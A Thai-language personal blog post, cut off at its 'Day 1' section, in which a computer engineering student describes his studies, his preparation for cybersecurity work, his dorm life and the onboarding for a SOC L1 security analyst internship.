Disclaimer
ผมพยายามจะไม่เปิดเผยเนื้อหาที่เป็นความลับของบริษัท โดยจะเน้นเล่าประสบการณ์และสิ่งที่ได้เรียนรู้เป็นหลัก หลีกเลี่ยง ข้อมูลละเอียดอ่อนที่อาจก่อให้เกิดปัญหาทั้งต่อตนเอง และบุคคล-นิติบุคคลอื่น
เนื้อหาหลักควรจะเป็นลักษณะดังนี้
-
ประสบการณ์ส่วนตัว แบบที่หาดูได้ทั่วไปตาม Youtube, Tiktok เช่น การใช้ชีวิตในหอ, การกินข้าว, การเดินทาง และการศึกษาความรู้
ข้อมูล PII ที่เปิดเผยล้วนเป็นข้อมูลที่ยินดีเปิดเผย และไม่เปิดเผย SPII ใด เช่น เลขที่บัตรประชาชน, เลขที่บัญชี ฯลฯ
-
เนื้อหาการทำงานทั่วไป ที่เหมือน ๆ กันในทุกบริษัท เพียงแต่อธิบายให้คนเข้าใจการฝึกงานตำแหน่ง Security Analyst (SOC L1) มากขึ้น เป็นรูปธรรม และ technical ไม่อ้างอิงเหตุการณ์หรือบุคคลที่สามใด ๆ
เนื่องจากการอธิบายว่า SOC คือส่วนหนึ่งของ blue team ทำหน้าที่วิเคราะห์และป้องกันนั้น กว้างเกินไปมาก และยังไม่มีคนไทยอธิบายรูปแบบการทำงานให้เห็นภาพชัดเท่ากับงาน software developer หรือวิศวกรรมสาขาอื่น
-
เนื้อหาส่วนที่ต้องทำการสาธิต เช่นแนวคิดการ triage, การวิเคราะห์ log, การใช้เครื่องมือต่าง ๆ จะยกตัวอย่างด้วยข้อมูลสังเคราะห์ ที่ไม่มีอยู่จริงเท่านั้น เช่น การใช้ ELK stack ที่ติดตั้งเองบน docker, ใช้ dataset ปลอมที่จำลองเพียง log การโจมตีเป็นต้น
-
จะไม่มีการนำเสนอ ภาพถ่าย, แผนผังจริงของที่ทำงาน หรือ ภาพข้อมูลการทำงาน และ เทคโนโลยีใด ๆ ที่ทางบริษัทใช้ โดยเด็ดขาด
ผมเรียนอะไรมา
ถ้าคุณเคยคุยกับ AI chatbot ไปบ้างแล้ว หรือเคยส่อง Github, LinkedIn หน้าโปรไฟล์ไปก็เดาได้ไม่ยาก ว่าผมเรียนวิศวกรรมคอมพิวเตอร์ คณะยอดนิยมสมัย DEK66 เข้า TCAS ในตอนนั้น และกำลังจะตกงานกันหมดในตอนนี้ (จบ 2027) เจอ Opus ว่าแย่แล้ว ถ้ามี Mythos อีกน่าจะพร้อมฌาปนกิจ
ปี 2566 ที่ผมจบ ม.6 แล้วเข้าปีหนึ่งพอดี ความสนใจของผมหลากหลายมาก ผมอาจจะสามารถเข้าคณะอะไรก็ได้ เพราะยังไม่รู้ตัวว่าจะเรียนอะไรดี โรงเรียนที่ผมอยู่ และเพื่อนในห้องช่วง ม.6 ติวหนังสือเข้าเรียนสายสุขภาพกันเยอะมาก ๆ เป็นการหล่อหลอมทางสังคมกลาย ๆ หันซ้ายก็เจอพี่เกรซ Ondemand หันขวาเพื่อนก็ดูคลิป Aurum พวกนี้มันไม่เข้าวิศวะใน กทม ก็คงไปเจอเป็นหมออยู่ซัก รพ แถวนี้นี่แหละ
แต่นอกจากวิชาชีวะที่เรียนพอได้ ก็ยังมีวิชาเคมีที่เป็น kryptonite อยู่ เลยคิดว่าไม่เรียนมันหรอกสายนี้ ตัวเลือกที่มีตอนนั้นขึ้นอยู่กับอะไร viral ในทวิตฯ และ Youtube เลยแหละ ที่ผมจิ้ม ๆ มาอาชีพน่าสนใจใกล้ฉัน หาเรียนได้ที่ มข ก็มีดังนี้
- จป. (เจ้าหน้าที่ความปลอดภัยวิชาชีพ) ก็คือ safety officer หมวกเขียวตามไซต์งาน โรงงาน แท่นขุดเจาะ ฯลฯ ต้องจบจากคณะสาธารณสุข เงินเดือนสูง สามารถ specialize ในหน้างานตัวเองได้ (โรงงานไม่เหมือนแท่นขุดแน่นอน) และดูน่าตื่นเต้นดี มีจัดอบรมพนักงาน, เช็คอุปกรณ์, ขอ ISO, งานเอกสารจำนวนมาก ฯลฯ
- วิศวกรรมคอมพิวเตอร์ อันนี้ไม่ต้องอธิบายเยอะ มันโหล ข้อดีคือคณะชายแท้ชิว ๆ คณะใหญ่ เพื่อนหลากหลายสาขา
- วิทยาการคอมพิวเตอร์ สาขา CyberSecurity อันนี้ปี 66 เปิดรุ่นแรก ตอนนั้นยังไม่มีใครมารีวิวได้ College of Computing ของ มข ก็เพิ่งแยกมาจากวิทย์ หารีวิวอะไรไม่ได้เลยเป็น sandbox มาก เลยยังไม่กล้าสมัคร และค่าเทอมแพงกว่าเท่าตัว (มันเอาค่าเทอมไปสนับสนุนเราสอบ cert) ไม่รู้คิดผิด คิดถูกเพราะคณะมันใหม่ = ได้อาจารย์ใหม่ไฟแรง และอุปกรณ์ก็ใหม่ รวมถึงยังอยู่ในสายตามหาลัยด้วย
- วิศวกรรมอุตสาหการ อันนี้เลือกไว้ทำไมไม่รู้ จำไม่ได้ 555
- ทันตแพทย์ อันนี้แม่อยากให้เรียนมาก แต่เราไม่อยากเรียนหรอก
พอสมัครจริงเลยได้วางไว้ 4 อันดับแบบนี้ ถ้าจำไม่ผิดนะ
- วิศวกรรมคอมพิวเตอร์ (ไม่มีทางหลุด)
- ทันตแพทย์ (หลุดประมาณ 2 คะแนน) เอาไว้ตรงนี้เพราะแม่อยากให้เรียน lol
- สาธารณสุขอาชีวอนามัยความปลอดภัย
- วิทยาการคอมพิวเตอร์ สาขา CyberSecurity
ก็นั่นแหละครับ ติด CoE รุ่น 33 ก็เลยได้เรียนที่วิศวะ การเรียนค่อนข้างราบรื่น เราเข้าเรียนพร้อมการมาของ OpenAI เลย แรก ๆ ทั้งอาจารย์และนักศึกษาหมิ่น AI มาก 5555 เราเขียนเก่งกว่า รู้บริบทกว่า การเอา AI มาทำโปรเจคคือ pain in the ass สุด ๆ พอผ่านไปขึ้นปี 2 ปี 3 AI มันเก่งขึ้นมาก กลายเป็นว่า AI เป็น requirement ในการทำงานแทน หลายบริษัทที่มารับ นศ ฝึกงานต้องการให้ นศ ใช้ AI เก่ง ๆ เลยแหละ งาน implementation แบบใครโค้ดเก่งกว่า ใครแม่น syntax ไม่ค่อยพูดถึงแล้ว (อาจเพราะเจองานสาย webdev ซะเยอะ ส่วนสาย hardware-embedded ที่มาสอน การโค้ดก็ยังคงเป็น C bare metal มี macro ที่มาช่วยได้บ้าง แต่ข้อมูลต้องเอาจาก datasheet ของบอร์ดอยู่ ซึ่งบางทีเป็นข้อมูลที่ AI ไม่คุ้นเคย ไม่ได้เทรนมาเยอะ)
ด้วยความที่เราไม่เก่ง+ไม่ค่อยสนใจ development และเคยใช้ framework หลัก ๆ แค่ Astro , Flask กับ Next.js แถมพอ AI มาถึงเราก็โยนทั้งหน้าบ้านหลังบ้านให้ AI ทำ ตอนนี้รู้แค่ architecture ของโค้ดเท่านั้น แต่ไม่รู้หรอกว่าถ้าอะไรยาก ๆ มันพังจะแก้ที่ไหน 5555 งานที่ทำก็เน้นคิดออกแล้วทำเลย เป็นงานส่วนตัวที่สนใจ ไม่มีหรอกที่เป็น Software Engineering cycle วางแผน รัน sprint บลา ๆ พวกนั้นเกิดขึ้นและดับไปในวิชาเรียน
คือคนเรามันก็มีวิชาที่ถูกใจไม่ถูกใจล่ะมั้ง หลายวิชาเรียนเข้าใจได้เกรดดีนะ แต่ก็ไม่ได้ถูกใจจะศึกษาต่อ
วิชาที่เราตัดออก เพราะไม่ถนัด ทั้งที่มันคือ core วิศวะคอมฯ
- development (SoftwareEngineering, Database, Programming)
- ไฟฟ้า และสัญญาณ อันนี้เท(ทิ้ง)หมดตักตั้งแต่ Signal ยัน PDC ไม่เอาอะไรแล้ว ขอผ่านก็พอ
- math แปลก ๆ ที่ตอนเรียนก็พอฟังตามได้ แต่ไม่ค่อยได้เอามาใช้ พวก Stochastic process, Calculus 2,3, DiscreteMath (จริง ๆ discrete กับ Theory of computing ตอนเรียนเข้าใจนะ แต่ตอนสอบอะทำไม่ได้ IQ ต่ำเกิน เป็นลิง วิชานี้สอบ 100% พลาดก็คือตุยไปเลย)
เหลืออะไรบ้างที่น่าจะต่อยอดได้
- Computer Network (ชอบนะ ลงเรียนทั้งตัวบังคับ + วิชาเลือก Modern Network และกำลังจะลง Cloud Networking อีกตัวด้วย เสียดายเก็บครบ stack ตัว Network Security ไม่ได้เพราะว่ามาฝึกสหกิจ)
- CyberSecurity ของแท้ ที่หนึ่ง ถ้านี่ไม่ใช่คลาสที่เจาะลึกที่สุด เพราะคนสอนเป็นอดีต maintainer Linux TLE และเป็น CTO ด้วย สอนแบบ active สุด ๆ สามารถเปิด VM แล้ว POC ตามในห้องได้เลยถ้าขยัน
- Operating System วิชานี้น่าสนใจ เพราะก็ชอบ Unix เป็นพิเศษ ตอนนี้ก็ใช้ Linux Debian เป็นหลักอยู่ (คนสอนเดียวกับวิชาด้านบน)
- DataSci (อันนี้เฉย ๆ แต่ก็โอเคเรียนได้ เข้าใจ process ผ่านการทำโปรเจคเริ่ม-จบวิชา)
อันที่ไม่ได้เกลียด แต่คิดว่าไม่น่าได้ใช้ง่าย ๆ
- Computer architecture อันนี้เสียดาย ตอนเรียนงงไปหน่อย
- Analog elec, Digital logic, MicroProcessor
- DataStructure (จำได้แค่ Stack, linked-list กับพวก tree)
ตอนนี้น่าจะพอเดาได้แล้วว่าผม shape ไปทางไหน
มี Career Path อะไรในหัว
พอขึ้นปี 3 ทุกคนจะได้เลือกวิชาเลือกตามความสนใจเยอะขึ้น ซึ่งทิศทางการไปฝึกงานก็มาจากความสนใจตอนนี้แหละ สิ่งที่ผมสนใจและค้นคว้ามา ก็แบ่งออกเป็นได้ไม่กี่สายหลัก ๆ ประมาณนี้
-
Network Engineer เนื่องจากเราเข้าใจการ config switch, router บ้าง และช่วยอาจารย์เขียนเอกสารวิชา Lab Network ให้เพื่อนเรียน ก็เป็นกึ่ง ๆ TA เลยเหมือนได้เรียนไปพร้อมๆ กับเพื่อนในเทอมนั้น (ก่อนเปิดเทอม 3 เดือน อาจารย์จ้างนักศึกษา 3+1 คน (งบคณะให้จ้าง 3 เราอาสาไปฟรีคนที่ 4) ให้ไปทำเอกสารแลปในวิชาที่ต้องเรียนเทอมถัดไป ทุกคนเริ่มจาก 0 และต้องเรียนแบบตัวต่อตัวก่อนเพื่อน เพื่อให้เพื่อนมีเอกสารไว้เรียน Lab ตอนเปิดเทอม) ฟีลตอนนั้นจะเหมือน apprentice ช่างตีดาบในหนังสมัยยุคกลาง ที่ต้องไปใช้ชีวิตอยู่ในห้องแลปตั้งแต่เช้ายันเย็น ทดลองสิ่งที่มันดูจะทำได้ในทฤษฎี ให้มันออกมาเป็นรูปธรรมด้วยสภาพแวดล้อมและอุปกรณ์แลปเก่า ๆ ที่เรามี โดยที่ตลอดปิดเทอมนั้น เราก็ได้คลอดเอกสารแลปออกมาเพียบ บรีฟแลปเดิมอาจจะแค่ 1 หน้าสั้น ๆ (ที่ต้องหาเอาเองหมดว่าขั้นไหนทำยังไง เป็นแค่คำสั่ง) เราก็ทำให้มันเป็น PDF ยาว 20 หน้าแบบจับมือทำขึ้นมาได้ และมีอีกจำนวนนึงที่ทดลองกัน 2-3 วันติด เพื่อสรุปแค่ว่าแลปนี้ไม่ได้ไปต่อ วัดผลยาก ไม่เหมาะกับการนำมาเรียน (lol) อันนี้อาจมีเล่าในโพสต์แยกละกัน ถ้ามีฟีลเขียน มันเริ่มจากจัด layout ใหม่, config อุปกรณ์ทั้งห้อง ย้ายโต๊ะ, ย้าย rack อัป firmware ในครึ่งเดือนแรก จากนั้นค่อยได้ลงเนื้องานทดลอง คิดแลป ฯลฯ ได้ศึกษาโปรเจคนู่น นอกจากงาน routine ก็มีงาน adhoc โผล่เต็มไปหมด lol
-
CyberSecurity อันนี้ได้ยินว่ากำลังขาดคน เพราะก่อนหน้านี้ประมาณปี 2022-2024 เทรนด์กำลัง build คนต้องการเยอะมาก เป็นไม่กี่สายงานที่กล้าจ้างเด็กจบใหม่เกิน 25,000 - 30,000 บาท บางคนได้เยอะกว่า developer จบใหม่ในช่วงพีค ๆ ยังไม่มี AI ซะอีก ทำให้เรามองว่า ถ้าเราไปทาง dev อาจจะรอดยาก เพราะมีคนเก่งกว่า และมี AI คอยตัดขา สู้ไปเล่นในสนามเล็กดีกว่า ที่คนอาจจะยังไม่ค่อยรู้จัก
CyberSecurity ก็แบ่งได้เป็นสามอันหลัก ๆ คือ
-
blue team: ฝ่ายป้องกันนั่นแหละ ประกอบด้วยตำแหน่งเช่น SOC analyst (Security Operation Center), Digital Forensics, Incident response ฯลฯ ซึ่งมีตำแหน่งที่มักรับน้องใหม่คือ SOC analyst Level1
-
red team: ฝ่ายโจมตี หาช่องโหว่ เช่น Penetration tester สายต่าง ๆ ส่วนมากไม่ Web ก็ Mobile ตำแหน่งงานอาจดูไม่เยอะเท่า (มันน้อยกว่าจริง ๆ ในเชิงโครงสร้าง) แต่สายนี้หมกปีศาจที่ชื่อ role เดียวกัน เน้นความเก่งกาจของเฉพาะบุคคลสูงมาก ทำได้ทั้งประจำ, contract, freelance, bounty-hunter
-
GRC (Governance, Risk Management, Compliance) เช่นงานสาย IT-Security audit ตามบริษัท auditor เจ้าใหญ่, consultant ฯลฯ สายงานนี้เน้นการทำงานเอกสาร การทำงานกับคนและกฎหมาย ส่วนตัวอันนี้เข้าไม่ค่อยถึงเท่าไร คิดว่าคนเรียนป.ตรีคอม + โท MBA อาจจะได้เปรียบมาก
และอีกสายอื่น ๆ เช่น Security Engineer (ชื่อกว้างนะ ก็มีทั้งทำระบบให้ SOC, ทำ Network Security ฯลฯ) และสาย Sales Engineer คือเน้นขาย solution ด้านความปลอดภัยด้วย
หรืองานที่แรร์มาก ๆ และมักอยู่นอกไทยเช่นสาย malware analysis, reverse engineering ฯลฯ
ร่อนใบสมัคร
ผมได้หาฝึกงานไว้ในหลายช่องทางมาก รวม ๆ ก็ 20+ บริษัทที่ดูไว้ (แต่ผมยื่นทีละบริษัทนะ) ทั้ง platform ออนไลน์, ผ่าน connection บุคคล, ประกาศรับสมัครงานต่าง ๆ หรือแค่ทัก email HR ไปสอบถามเฉย ๆ ก็มี
จาก resume ที่ไปฝากตามเว็บไซต์ไว้ ทำให้ผมได้รับ email ติดต่อกลับมาทั้งหมด 2 ที่
- ตำแหน่ง Security Engineer ของบริษัทแห่งหนึ่งใน กทม. แต่ด้วยไทม์ไลน์การฝึกของผม ไม่ตรงกับที่บริษัทเปิดรับ (มข ฝึกงานไม่พร้อมมหาวิทยาลัยใน กทม.) เลยไม่ได้นัดสัมภาษณ์ต่อ
- ตำแหน่ง SOC Analyst ของบริษัทแห่งหนึ่ง ที่นี่มีออฟฟิศทั้งในและนอก กทม. บวกกับอาจารย์ที่ปรึกษารู้จักบริษัท เลยแนะนำให้ฝึกออฟฟิศนอก กทม. ผมเลยยื่นที่นี่เพิ่ม ตามคำแนะนำของอาจารย์ และบริษัทก็ตอบรับเข้าฝึก จึงได้ฝึกที่นี่
จากนั้นผมก็ไม่ได้ยื่นสมัครที่ไหนอีกเลยจากใน list ที่เล็งไว้เกือบทั้งหมด และต้องไปปิดสถานะ open to work ในเว็บต่าง ๆ ไม่ให้ HR เข้าใจผิดและส่ง email มาหา
เตรียมตัวก่อนเริ่มฝึก
เมื่อรู้ว่าได้ที่ฝึกงานตั้งแต่เนิ่น ๆ พาร์ทต่อมาคือ ด้วยความที่บางทีผมก็เรียนรู้อะไรช้า (จากประสบการณ์ที่ผ่านมา ถ้าจะเรียนรู้อะไรใหม่มาก ๆ ต้องใช้เวลาพอสมควรในการทำความเข้าใจ) เลยอยากเตรียมตัวล่วงหน้าก่อนที่จะเริ่มฝึกงานจริง ๆ เพื่อให้มีความรู้พื้นฐานบ้าง ไม่งั้นถ้าไปเจออะไรที่ไม่รู้เลย อาจจะยิ่งทำให้เรียนรู้ยากขึ้นไปอีก
- เนื่องจากผมชอบ Computer Network เป็นหลัก ทำให้คอร์สออนไลน์ที่เรียนเองหนีไม่พ้น Cisco Networking Academy โดยที่ผมได้เรียน Path CCNA1 และ Networking Basics ไป (อยากจบ Networking Essential แต่ว่ามันยาวมาก) ทำให้พอจะรู้การทำงานของ Network ในแต่ละ Layer, config Cisco พื้นฐานได้ นำความรู้มาปรับใช้ได้ว่าแต่ละโปรโตคอลทำงานอย่างไร

-
และได้ลงเรียน + สอบ Cert เริ่มต้นของสาย CyberSecurity เช่น ISC2 CC ไว้ (ค่าเมนเทนปีละ 50usd เปลืองเล็กน้อย) ซึ่งถือว่าค่าใช้จ่ายน้อยเมื่อเทียบ Cert อื่นที่เริ่มต้นครึ่งหมื่น - หลายหมื่นบาท แม้ว่าจะง่ายกว่า CompTIA Security+ บ้าง และเป็น cert ที่ใหม่กว่ามาก แต่ก็ถือว่าเราได้รับรู้ mindset ของ ISC2 มาบ้างแล้ว
แถมมันยังเป็นที่ debate กันอยู่ว่า Sec+ มันออกมานาน ข้อสอบ dump เลยเยอะมาก และต่อให้มีทั้ง Sec+, CC ทางบริษัทก็มองว่ามัน entry level ทั้งคู่อยู่ดี ให้ความสำคัญกับการสัมภาษณ์ว่ารู้จริงรึเปล่ามากกว่ากระดาษ (digital) สองใบนี้ ที่ยังไม่มีค่าเท่า CySA+ หรือ BTL1 ซึ่งกำลังเป็น golden standard คนต้องการตัว เอาไป bid งานลูกค้าได้

-
นอกจากนี้ก็มีเล่น Try Hack Me ใน Path ของ SOC Level 1, คอร์สของ KC7 ที่เน้น SIEM ของ Microsoft Sentinel รวมถึงได้แตะ ๆ Splunk BotsV1 มาบ้าง ก็คือรวม ๆ แล้วอยากลองทำงาน triage จริงเหมือน SOC L1 เขาทำกันนั่นแหละ อย่างน้อยขอแค่เข้าใจหน้าตาของ SIEM หลัก ๆ แบบ ELK, Splunk, Sentinel ทำงานยังไงก็พอ
-
ส่วนการเล่น CTF ก็เคยเล่นมา 2-3 งาน เนื้อหาส่วนหนึ่งหาอ่านได้จากโพสต์ เมื่อผมไปงาน CTF ครั้งแรก
แหล่งความรู้เพิ่มเติม
ถ้าใครอยากศึกษาเพิ่มเติม ผมก็มี resource แนะนำนะ ตามด้านล่างนี้เลยที่เคยลองมา บางอันก็เล่นไปไกล บางอันก็เปิดผ่าน ๆ แต่เห็นว่าดีเลยแนะนำได้
ภาษาอังกฤษ - Try Hack Me มีคอร์สให้เลือกเยอะมาก ๆ ทั้งสาย blue team, red team, engineer เหมาะกับมือใหม่สุด ๆ (ฟรีบาง room, sub เดือนละ 18usd)
-
KC7 สาย blue team ที่เน้น SIEM ของ Microsoft Sentinel (ภาษา KQL) ซึ่งจับมือทำ และโจทย์เริ่มแรกตลกมาก เหมาะกับ gen Z แน่นอนว่าโจทย์หลัง ๆ เครียดแล้ว (ฟรี 100%)

-
Udemy มีคอร์สที่ดีมาก ๆ หลายคอร์สเลย แต่ต้องเลือกดี ๆ เพราะบางคอร์สก็ไม่ได้คุณภาพเท่าไร แนะนำของ Mike Chappel (ไม่ฟรี แต่ลดบ่อย หลักร้อย)
-
Youtube ช่องที่แนะนำ Professor Messer เน้น CompTIA cert , ช่อง The Cyber Mentor เป็นช่อง official ของเจ้าที่ cert ดัง ๆ เช่น PNPT, ช่อง Jeremy’s IT Lab เน้น Lab ด้าน Network, CCNA
ภาษาไทย - Official ของ NCSA หรือ สกมช (National Cyber Security Agency) มีทั้งคอร์สออนไลน์ และจัดอบรมต่าง ๆ อยู่เรื่อย ๆ - NCSA E-learning อันนี้คืออบรมออนไลน์ เป็นคลิปติว cyber + คำถามท้ายบท เพื่อไปสอบ cert ต่าง ๆ เช่น Sec+, CySa+, Pentest+ และมีระบบคอร์ส onsite ด้วยในบางโอกาส (ฟรี 100%)

- NCSA Mooc Cyber-Learning ถ้าอันเมื่อกี้คือทฤษฎี อันนี้จะเพิ่มปฏิบัติด้วย เป็นเว็บเรียนคล้าย try hack me เรียนจบ path beginner ก็จะปลดล็อก penetration tester, SOC analyst ไปเรื่อยได้ เหมาะมากสำหรับมือใหม่ (ฟรี 100%)
การใช้ชีวิต
หลังจากได้ที่ฝึกงาน ผมก็เริ่มหาหอพัก โดยจากที่เป็นต่างจังหวัดนอกกรุงเทพฯ ทำให้ราคาที่พักประหยัดกว่าในกรุงเทพฯมาก และใช้เวลาเดินทางจากบ้านไม่นาน (สามารถกลับเสาร์-อาทิตย์ได้สบายมาก เพราะเคยขับรถเที่ยวภูสอยดาวยิงยาว 7 ชั่วโมงมาแล้ว) และก็ถือว่าเป็นโชคดีในวันที่ดีเซลลิตรแตะ 60 บาท, E20 ราคา 39 บาท
ผมจึงได้ที่พักในราคารายเดือนที่ถูกกว่าเกรดเดียวกันแห่งอื่น 400-600 บาท สัญญา 6 เดือน, มีที่จอดรถยนต์-แมงกะไซ แบบเหลือเฟือ มีตู้เย็น น้ำอุ่น ตู้ built-in, ราวตากผ้า, เตียงนอนให้ครบ และห้องสะอาด แลกกับที่ตั้งที่ห่างออกมาไม่กี่กิโลเมตร (หากมีรถยนต์ไม่ใช่ปัญหา)
ค่าไฟ
โดยในห้องพักจะได้เป็น ห้องแอร์ (9900 BTU, fixed speed) แอร์ใหม่ เย็นไวมาก คิดค่าไฟหน่วยละ 7 บาท, น้ำ 25 บาท << (I know this is not legal to charge me more than การไฟฟ้า does, but I understand the dorm btw.)
ซึ่งถ้านับจากที่ลองเปิดไฟเท่าที่ใช้ในห้องดูประมาณ 1 ชม และดูการหมุนของมิเตอร์ 1200rev/kWh ก็เดาได้ว่า 1 ชมผมจะใช้ไฟประมาณ 1.1-1.3 หน่วย ก็ตีไป 7-8 บาท/ชั่วโมงการเปิดแอร์
ทำให้ค่าไฟเดือนนึงผมอาจอยู่ที่ 2000-2500 ได้หากไม่ประหยัดไฟ
(เดี๋ยวผ่านเดือนแรกไป จะมารีวิวค่าไฟ) <<< อัปเดต ค่าไฟตัดตอนอยู่มาได้ประมาณ 10 วัน (ค่าไฟมาทุกสิ้นเดือน) ก็นั่นแหละ ประมาณ 600 - 700 บาทตามคาด เพราะว่ามีวันไม่ได้อยู่ห้องเลย 1 วัน
ในบางวัน (แม้แต่กลางเมษา) ที่อาจมีฝนตก ห้องจะเย็นมาก ๆ สามารถนอนกลางวันได้โดยแค่เปิดหน้าต่างระเบียง ไม่ต้องเปิดแอร์เลย ทำให้ใช้ไฟแค่ชาร์จมือถือ-laptop เท่านั้น การที่ห้องผมอยู่ในสุด เดินผ่านห้องอื่น ๆ ก็จะเห็นคนวัยทำงานเปิดประตูอ้าซ่านอนกรนคร่อก ๆ เอาลมเย็น
หรือเจอคนอายุไล่เลี่ยกันเปิดประตูอ้าซ่านั่งเล่นมือถือ แต่สุดทึ่งคือทุกคนเงียบมาก จากทะเบียนรถของคนในหอ ที่มักเป็นทะเบียนต่างจังหวัดเช่น กรุงเทพฯ เชียงใหม่ ระยอง ก็เดาได้ว่าส่วนมากเป็นคนที่จากบ้านมาทำงาน และอยู่คนเดียวกันเงียบ ๆ
ข้อเสียเดียวที่พอจะนึกออก
คือ WIFI แย่มาก และน่าจะเป็นปัญหาที่ physical เพราะผมเดินหา access point ไม่เจอ และสัญญาณที่รับได้ก็แย่มาก ๆ ไอ้ความเร็ว uplink (3BB) ไม่ใช่ปัญหาเลย เพราะแคป bandwidth ไว้ที่ 15 mbps/client ให้ทุกคนได้ใช้แชร์ ๆ กันไป ไวไฟฟรี แต่ปัญหาคือสัญญาณที่น่าจะส่งมาไกลหลายปีแสง และเสากากทำให้ RSSI ต่ำสุด ๆ การ ping ไปหา gateway ใช้ RTT ประมาณ 1000ms++ ในบางครั้ง ซึ่งมันคือ 1 วินาทีเลยนาเว้ย
และมันก็ไม่เสถียรหลุด-ติด-ดับบ่อยมาก ๆ ไอ้อุปกรณ์ที่รับสัญญาณได้เทพแบบ iPhone ก็ยังพอจะได้ ping เฉลี่ย 200ms ซึ่งก็ไม่ได้ดี ยังดีที่ไม่ค่อยหลุด แต่ไอ้ laptop ไม่ว่าจะด้วย internal nic หรือ dongle TP-link ก็ไม่ได้ช่วยให้มันเสถียรขึ้นแม้แต่น้อยเลย คิดดูว่าสมมติผมเขียนเว็บอยู่ในโหมด dev และต้องการจะ refresh เพื่อดูความเปลี่ยนแปลง บางทีมันก็ throw error แบบงง ๆ พอไปอ่านดูดี ๆ คืออ๋อ มันดึง PostgreSQL ไม่ได้เพราะเน็ตแม่งหลุดไปแล้ว
solution เดียวที่นึกออก ประหยัด และ works คือใช้ galaxy tab s9 ซึ่งควรจะมีการ์ดไวไฟภายในที่แรงมาก ๆ (เรือธงเนาะ) จับไวไฟ แล้วแชร์ให้ laptop ผ่าน usb ซึ่งก็เป็นการชาร์จไปด้วยในตัว win-win solution นิ
เข้างาน
งานผมจะ clockin ตอน 9:00 และทำถึง 18:00 รวม 9 ชม. (พักกลางวัน 1 ชม.) และได้เบี้ยเลี้ยงจำนวน XXX บาท/วันที่ไปทำงาน ซึ่งช่วยลดภาระใช้จ่ายรายวันได้ดีพอสมควร
และมารู้ทีหลังว่า เราทำงานให้ห้อง SOC ที่รุ่นพี่จะเวียนกันไปกินข้าว เพราะฉะนั้นหิวก็ลุก แต่อย่าลุกพร้อมกัน ต้องมีคนอยู่เฝ้าห้องตลอดเวลา
oneday, dayone
ผมไปรอทำงานตอน 8:30 น. แน่นอนว่าคืนก่อนเริ่มงาน น้อยคนจะนอนหลับลง ตื่นเต้นไปหมด เราจะทำอะไรให้บริษัทได้บ้าง สายงานนี้เคยได้ยินแต่ชื่อ ทำไงดีวะ
เนื่องจาก physical access control ค่อนข้าง strict (ตามหลักห้อง SOC ทึบแสง, สแกนนิ้วเข้า, ประตูสองชั้น ฯลฯ) ผมเลยต้องยืนรอก่อน จนใกล้ถึง 9:00 น. ก็มีพี่ที่เป็น office time (ไม่ได้เข้ากะ ) เดินเข้าห้อง ผมเลยเดินไปบอกว่าวันนี้มาฝึกงาน เลยได้เข้าไป
วันแรกก็มีการชี้แจงเรื่องเบี้ยเลี้ยงช่วงฝึกงาน, การเข้างานเป็นกะ, กฎการใช้ห้อง SOC และให้ไป shadow (ดูแต่ตา มืออย่าต้อง) กับพี่คนไหนก็ได้ในห้อง อยากรู้อะไรสามารถถามได้เลย
โดยก็จะได้เห็น tools จำนวนมากทั้งที่เรารู้จักและไม่รู้จัก เช่น SIEM, SOAR, ระบบ Ticket, stack การประชุม, การแชร์ resource ทั้งหลาย และได้เห็น log จริงของลูกค้าจริงจำนวนมาก แทบไม่ซ้ำเจ้ากันเลย
แน่นอนว่าการเตรียมตัวมาเป็นอย่างดี ทำให้เราเข้าใจสิ่งที่พี่ทำอยู่ได้เร็วขึ้น เข้าใจว่า workflow เป็นประมาณไหน เช่น assign ticket เสร็จก็วิ่งไปดูที่ SIEM, SOAR และค้น playbook, ticket เก่า ๆ ที่ปิดแล้วไว้อ้างอิงการเขียน report เคสเป็นต้น

จากนั้นพี่ที่ดูแล รับหน้าที่เป็นพี่เลี้ยงเราก็จะขอข้อมูลเราของเราไป assign ตารางการงานเดือนแรกให้ ซึ่งก็จะได้เป็น office time (9:00-18:00) ไปก่อน จนกว่าจะพร้อมทำงานจริง ถึงจะสามารถเข้ากะได้
ปูพื้นฐาน
โดยในช่วงเดือนแรกนี้ จะเป็นการปูพื้นฐานใหม่ให้ทุกคนมี bare minimum knowledge ที่เพียงพอต่อการเรียนรู้ต่อเท่า ๆ กัน เท่าที่ส่องดูเนื้อหาก็จะมี
- security concept พื้นฐานทั่วไป เช่น CIA triad, attack vector, attack surface, risk management, pyramid of pain ฯลฯ
- ความรู้ที่จำเป็นตาม path ของ Comptia Security+
- security ของ network, web application
- SIEM, SOAR, MITRE ATT&CK framework, playbook
- การแยก log ของ XDR, EDR, NGFW แต่ละเจ้าที่ใช้หลัก ๆ ของทีม
- การฝึก triage เคส
- การทดสอบเขียน report ตาม template ต่าง ๆ
ก็คือเป็น shortcut รีรันสั้น ๆ + one size fit all สำหรับการสร้างแรงงานหนึ่งคน เพื่อให้เรียนรู้ต่อด้วยตัวเองได้ โดยมากแล้วหากใครผ่าน lab ของ try hack me, CTF มาก็จะคุ้นเคยส่วนของ technical ไปประมาณ 70% จะขาดก็แต่พวกการทำงาน การเขียน report จริงในแบบของทีม
ฝึกงาน
บอกก่อนเลยว่า เนื้อหาส่วนนี้จะยาวและละเอียด แต่ก็อาจจะไม่ได้มีอะไรใหม่ทุกวัน เพราะ curve ช่วงแรกจะตื่นเต้นไปหมด และได้เรียนรู้เยอะอยู่แล้ว จากนั้นก็จะเริ่ม steady หรือมีงานหลักที่ต้องทำเหลือไม่กี่อย่างนั่นเอง เช่น การเรียนเพิ่มวันละ 1 module ซึ่งเนื้อหามันก็คือ Comptia Security+ นั่นแหละ สำหรับผมที่เคยสอบ CC มา เนื้อหามันแทบจะไม่ต่างกันเลย พวก concept, terms ต่าง ๆ แค่มันลงลึกกว่า (ส่วนที่เป็น hands-on นี้ได้ทดแทนด้วย try hack me, ctf ไปหมดแล้ว) แค่เอามาเล่าให้ละเอียดขึ้น + ประสบการณ์จริง
ข้อมูลที่เล่า เช่น incident, alerts หรือวิธีการทำงานต่าง ๆ คาดว่าสามารถเล่าได้ เพราะเป็น generic และน่าจะเจอกันในแทบทุก SOC อยู่แล้ว
Day 1
สิ่งที่ได้เรียนรู้ในวันแรก คือได้นั่งเกาะเบาะพี่ analyst แล้วถามคำถาม พวกเคสที่พี่ปิด
- เข้าฟังประชุมภายในทีม และติดตามความคืบหน้าของงานต่าง ๆ
และได้เจอ case study ต่าง ๆ จากเคสเก่าประมาณนี้
-
